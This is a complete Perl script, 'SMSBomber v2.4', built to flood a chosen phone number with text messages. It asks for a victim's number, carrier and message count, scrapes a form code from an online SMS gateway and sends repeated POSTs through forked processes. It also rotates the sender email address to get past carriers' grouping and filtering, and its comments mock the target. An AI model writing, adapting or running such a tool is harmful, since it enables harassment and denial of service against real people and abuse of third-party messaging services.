Perl SMS Bomber

#!/usr/bin/perl

use LWP::UserAgent;
use LWP::Simple;
use strict;
use warnings;
use threads;
use threads::shared;
use Config;
use HTML::TreeBuilder;
use HTML::Element;



$Config{useithreads} or die('Recompile Perl with threads to run this program.'); #thread(enabled) check


print"**********************************************************\n";
print"*********************** SMSBomber v2.4 *******************\n";
print"************************By: juicyjuice********************\n";
print"**********************************************************\n";

##getting inputs, need to get rid of whitespace and or \n character with chomp();
print"Enter the number you want to bomb: \n";
chomp(my $phoneNum = <STDIN>);

print "Enter your carrier (AT&T=41|Verizon=203|Sprint=176): \n";
chomp(my $carrier = <STDIN>);

print "How many messages?: \n";
chomp(my $amountOfMessages = <STDIN>);

print "Enter your email: \n";
chomp(my $from = <STDIN>);

print "Enter your subject: \n";
chomp(my $subject = <STDIN>);

print "Enter your SMS MSG: \n";
chomp(my $message = <STDIN>);

print "**********************************************************\n";
print "**BOMBING\n";
my $numOfBombsSent :shared = 0;       
my $inc :shared = 0; 
$inc = 10000; #incrementing variable used for carriers that sort messages by email instead of phone #
&main;

sub main{
	while($numOfBombsSent<$amountOfMessages){
		&checkAndBypassEmailFilter;
		if(($amountOfMessages-$numOfBombsSent)==1){ 
			&checkAndBypassEmailFilter;
			&bomb;
		} else {
			my $pid = fork();   #fork splits process into two
			if($pid){      #immediately have to handle both ($pid,0) <-child and ($pid) <- parent **parent	
				if($numOfBombsSent<$amountOfMessages){
					&checkAndBypassEmailFilter;				#has to make sure that child is done executing before it finishes. or else child will 
					&bomb; #parent							#become a zombie
				}     						
				waitpid($pid, 0);
			} elsif($pid == 0){
				if($numOfBombsSent<$amountOfMessages){
					&checkAndBypassEmailFilter;
					&bomb; #child
				}
			} else {
				die "Fork failed";
			}
		}
	}
}

sub checkAndBypassEmailFilter{
	if($carrier==203 or $carrier==176){ #this is for some carriers that organize based on the email function (thus not getting the full bomb effect) 
										#so this increments their email by one each time to start a new convo :D gotcha bitch
		my @email = split('@', $from);
		lock($inc);						#locks $inc variable so nothing else can modify it until it's done with it. 
		$from = $email[0].$inc++.'@'.$email[1];
	}
}
sub postUrl {
	my $content = 
	my($url, $formref) = @_;
	my $ua = new LWP::UserAgent(timeout => 300); # set up a UserAgent object to handle request
	$ua->agent('perlproc/1.0');
	my $response = $ua->post($url, $formref);  #no need to handle the response from server. 
	if($response->is_success){ 
		return $response->content;
	} else {
		return "POST failure";
	}
}
sub Return_Code { #From Saustin's SMS bomber
    my $content = $_[0];
    my $tree = HTML::TreeBuilder->new;
    $tree->parse($content);
    $tree->elementify();

    my @elements = $tree->find("INPUT"); #because they haven't heard of lowercase
    foreach(@elements)
    {
        my $ele = $_;
        if($ele->attr('NAME') eq "code")
        {
            return $ele->attr('value');
        }
    }
}

sub bomb{
	my $url = "http://www.onlinetextmessage.com/send.php";
	my $indexUrl = "http://www.onlinetextmessage.com/";
	my $lwp = get $indexUrl;
	my $code = Return_Code($lwp);
	#print "Code: $code\n";
	my %param = ('carrier' => $carrier, 'code' => $code, 'from' => $from, 'message' => $message, 'number' => $phoneNum,'quicktext' => '','remember' => 'y', 's' => 'Send Message','subject' => $subject);
	&postUrl($url,\%param);
	lock($numOfBombsSent);			#locks $numOfBombsSent variable so nothing else can modify it until it's done with it. 
	$numOfBombsSent++;
	print "Bomb Status: [",($numOfBombsSent),"/",($amountOfMessages),"]\n";
}